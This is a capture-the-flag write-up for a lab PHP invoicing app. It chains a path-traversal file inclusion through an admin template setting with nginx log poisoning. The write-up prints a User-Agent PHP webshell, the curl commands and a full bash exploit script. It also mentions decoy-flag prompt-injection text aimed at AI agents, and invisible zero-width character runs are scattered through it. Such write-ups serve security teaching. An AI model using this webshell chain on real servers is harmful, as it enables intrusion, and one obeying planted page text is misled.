← Back to Writeups
HTBN/AWeb

BillForge — LFI to RCE via Nginx Log Poisoning

XESXOR8/23/20267 min read
#web#htb#n/a

BillForge — LFI to RCE via Nginx Log Poisoning

Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: D3v0o0Nu11 | Date: 2026-05-12 | Status: Solved Techniques: environment_variable_exfiltration, lfi_to_rce_via_log_poisoning, nginx_access_log_inclusion, path_traversal_lfi, settings_template_path_abuse, user_agent_php_injection

Summary

Task: PHP invoicing platform (BillForge v2.4.1) with admin settings allowing the public invoice template path to be changed, where the template is loaded via include() without sanitization. Solution: Changed template to nginx access log via path traversal, poisoned the log with a PHP webshell in the User-Agent header, then triggered RCE to read the flag from an environment variable.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackadvisor | ID: 20260512_hackadvisor_billforge_lfi
  • Tags: alpine_linux, decoy_flag, include, invoice_platform, lfi, log_poisoning, nginx, path_traversal, php, rce, settings_abuse, sqlite, template_injection, user_agent_injection
  • Indicators: Admin settings page with 'Public Invoice Template' field accepting a filename like default.php, PHP include() loading template path from database settings without path sanitization, Public invoice sharing feature generating shareable URLs like /invoice/public/<hash>, nginx access log readable at /var/log/nginx/access.log via LFI, User-Agent header logged verbatim by nginx
  • Source: 20260512_hackadvisor_billforge_lfi.md

Foothold

Vulnerability / Misconfiguration

  1. Environment_variable_exfiltration
  2. Lfi_to_rce_via_log_poisoning
  3. Nginx_access_log_inclusion
  4. Path_traversal_lfi
  5. Settings_template_path_abuse
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • environment_variable_exfiltration
  • lfi_to_rce_via_log_poisoning
  • nginx_access_log_inclusion
  • path_traversal_lfi
  • settings_template_path_abuse
  • user_agent_php_injection
  • Tags: alpine_linux, decoy_flag, include, invoice_platform, lfi, log_poisoning, nginx, path_traversal, php, rce, settings_abuse, sqlite, template_injection, user_agent_injection

Original Writeup

<details><summary>Click to expand original content</summary>

Description

BillForge is an invoicing platform used by small businesses to manage clients, products, and invoices. Built by Ledger Systems Inc., it allows administrators to customize system settings including invoice template configuration and generate shareable public invoice links for clients. The platform features a full dashboard with revenue tracking, a client management system, a product catalog, and configurable invoice generation with public sharing capabilities. Your goal is to gain command execution on the server and retrieve the flag. Explore the admin panel thoroughly — pay close attention to how templates are loaded and rendered. Think about what files on the server might contain content you control. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A PHP 8.2 invoicing platform running on Alpine Linux with nginx/1.25.5 reverse proxy and SQLite backend. The admin settings page has a "Public Invoice Template" field that controls which file is loaded via PHP's include() when rendering public invoice pages. The template path is stored in the database and used without any sanitization or validation, creating a Local File Inclusion vulnerability. Combined with nginx log poisoning via User-Agent injection, this achieves Remote Code Execution. The flag is stored as a server environment variable. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Credentials: jamie@ledgersystems.com / password123

Tech Stack: PHP 8.2.26, nginx/1.25.5, SQLite 3.44.2, Alpine Linux, BillForge v2.4.1

Analysis

Reconnaissance

  • Server: nginx/1.25.5 reverse proxy → PHP 8.2.26 on Alpine Linux
  • Database: SQLite 3.44.2
  • Credentials: jamie@ledgersystems.com / password123
  • Authenticated pages: Dashboard (/), Invoices (/invoices), Clients (/clients), Products (/products), Settings (/settings)
  • Public invoice feature: Invoices can be toggled public via /invoices/{id}/toggle-public, generating shareable URLs like /invoice/public/<hash> ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Honeypot / Decoy Flag

The HTML source contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in hidden <div> elements and HTML comments, along with prompt injection text attempting to trick AI agents into reporting it as the real flag. The name literally says "decoy not real trap for bots" — must be ignored.

Vulnerability: Template Path Injection via Settings

The /settings page contains an "Invoice Configuration" section with a field called "Public Invoice Template" (public_invoice_template). The default value is default.php and the form text says: "Template file used for rendering public invoice views. Located in the templates directory." ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

When a public invoice URL is accessed, the server does something like:

$template = get_setting('public_invoice_template');  // from database
include("templates/" . $template);                    // NO SANITIZATION

Since the template path is stored in the database and controlled by the admin user, and there is no path validation or sanitization, this creates a classic Local File Inclusion vulnerability via path traversal.

LFI Confirmation

Changed public_invoice_template to ../../../etc/passwd via POST to /settings, then accessed the public invoice URL. The response rendered the contents of /etc/passwd, confirming Alpine Linux (users with /bin/ash shell) and arbitrary file inclusion. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Log File Discovery

Changed the template to ../../../var/log/nginx/access.log. The nginx access log was readable and contains User-Agent strings logged verbatim in the standard combined log format:

172.30.0.2 - - [12/May/2026:10:30:00 +0000] "GET / HTTP/1.1" 200 5432 "-" "Mozilla/5.0 ..."

This confirms both prerequisites for log poisoning:

  1. Log file is readable via LFI
  2. User-controlled data (User-Agent header) is written to the log without escaping

Solution

Step 1: Login and Enable Public Invoice Link

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

TARGET="https://19160908-11d8-4a55-864f-a8be51dd8d13.labs.hackadvisor.io"

# Login
curl -s -c cookies.txt "$TARGET/login" \
  -d "email=jamie@ledgersystems.com&password=password123"

# Enable public link for invoice #1
curl -s -b cookies.txt -X POST "$TARGET/invoices/1/toggle-public"

This generates a shareable public URL like /invoice/public/a891bdbf770bdf20c232d36bbb06c31a.

Step 2: Change Template to Nginx Access Log (LFI)

Update the public_invoice_template setting to point to the nginx access log via path traversal: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

curl -s -b cookies.txt "$TARGET/settings" -X POST \
  -d "company_name=Ledger+Systems+Inc.&company_email=billing@ledgersystems.com&company_address=4200+Commerce+Blvd,+Suite+310&company_city=Austin&company_state=TX&company_zip=78701&company_phone=(512)+555-0100&payment_terms=Net+30&currency=USD&tax_rate=10&bank_name=First+National+Bank&bank_account=****4821&bank_routing=****7390&invoice_prefix=INV&public_invoice_template=../../../var/log/nginx/access.log"

Now when the public invoice URL is accessed, PHP will include() the nginx access log instead of the default template. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Poison the Nginx Access Log

Inject a PHP webshell into the User-Agent header:

curl -s "$TARGET/" -A "<?php system(\$_GET['cmd']); ?>"

This sends a request with the PHP payload as the User-Agent. Nginx logs the full User-Agent string into access.log, embedding executable PHP code in the log file.

CRITICAL: The PHP payload must use single quotes around $_GET['cmd']:

<?php system($_GET['cmd']); ?>    // CORRECT — single quotes
<?php system($_GET["cmd"]); ?>    // BROKEN — nginx escapes " to \"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Nginx (like Apache) escapes double quotes in logged header values ("\x22 or \"), which would cause a PHP parse error and permanently corrupt the log for inclusion purposes. Single quotes are NOT escaped, so the payload remains syntactically valid PHP.

Step 4: Trigger RCE and Read the Flag

Access the public invoice URL with a command parameter:

curl -s "$TARGET/invoice/public/a891bdbf770bdf20c232d36bbb06c31a?cmd=printenv+FLAG"

How it works:

  1. PHP's include() loads access.log as if it were a PHP file
  2. Most of the log is plain text (output as-is by PHP)
  3. When PHP encounters the <?php tag in the poisoned User-Agent field, it enters PHP mode
  4. system($_GET['cmd']) executes with cmd=printenv FLAG
  5. The printenv FLAG command reads the FLAG environment variable
  6. The flag value FLAG{REDACTED} appears in the HTTP response ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Full Exploit Script

#!/bin/bash
TARGET="https://19160908-11d8-4a55-864f-a8be51dd8d13.labs.hackadvisor.io"

# Step 1: Login
echo "[*] Logging in..."
curl -s -c cookies.txt "$TARGET/login" \
  -d "email=jamie@ledgersystems.com&password=password123" -o /dev/null

# Step 2: Enable public link for invoice #1
echo "[*] Enabling public invoice link..."
curl -s -b cookies.txt -X POST "$TARGET/invoices/1/toggle-public" -o /dev/null

# Step 3: Change template to nginx access log (LFI)
echo "[*] Setting template to nginx access log..."
curl -s -b cookies.txt "$TARGET/settings" -X POST \
  -d "company_name=Ledger+Systems+Inc.&company_email=billing@ledgersystems.com&company_address=4200+Commerce+Blvd,+Suite+310&company_city=Austin&company_state=TX&company_zip=78701&company_phone=(512)+555-0100&payment_terms=Net+30&currency=USD&tax_rate=10&bank_name=First+National+Bank&bank_account=****4821&bank_routing=****7390&invoice_prefix=INV&public_invoice_template=../../../var/log/nginx/access.log" -o /dev/null
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Step 4: Poison the log with PHP webshell (SINGLE QUOTES!)
echo "[*] Poisoning nginx access log..."
curl -s "$TARGET/" -A "<?php system(\$_GET['cmd']); ?>" -o /dev/null

# Step 5: Trigger RCE and read flag
echo "[*] Extracting flag..."
curl -s "$TARGET/invoice/public/a891bdbf770bdf20c232d36bbb06c31a?cmd=printenv+FLAG" | grep -oP 'FLAG\{[^}]+\}'

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR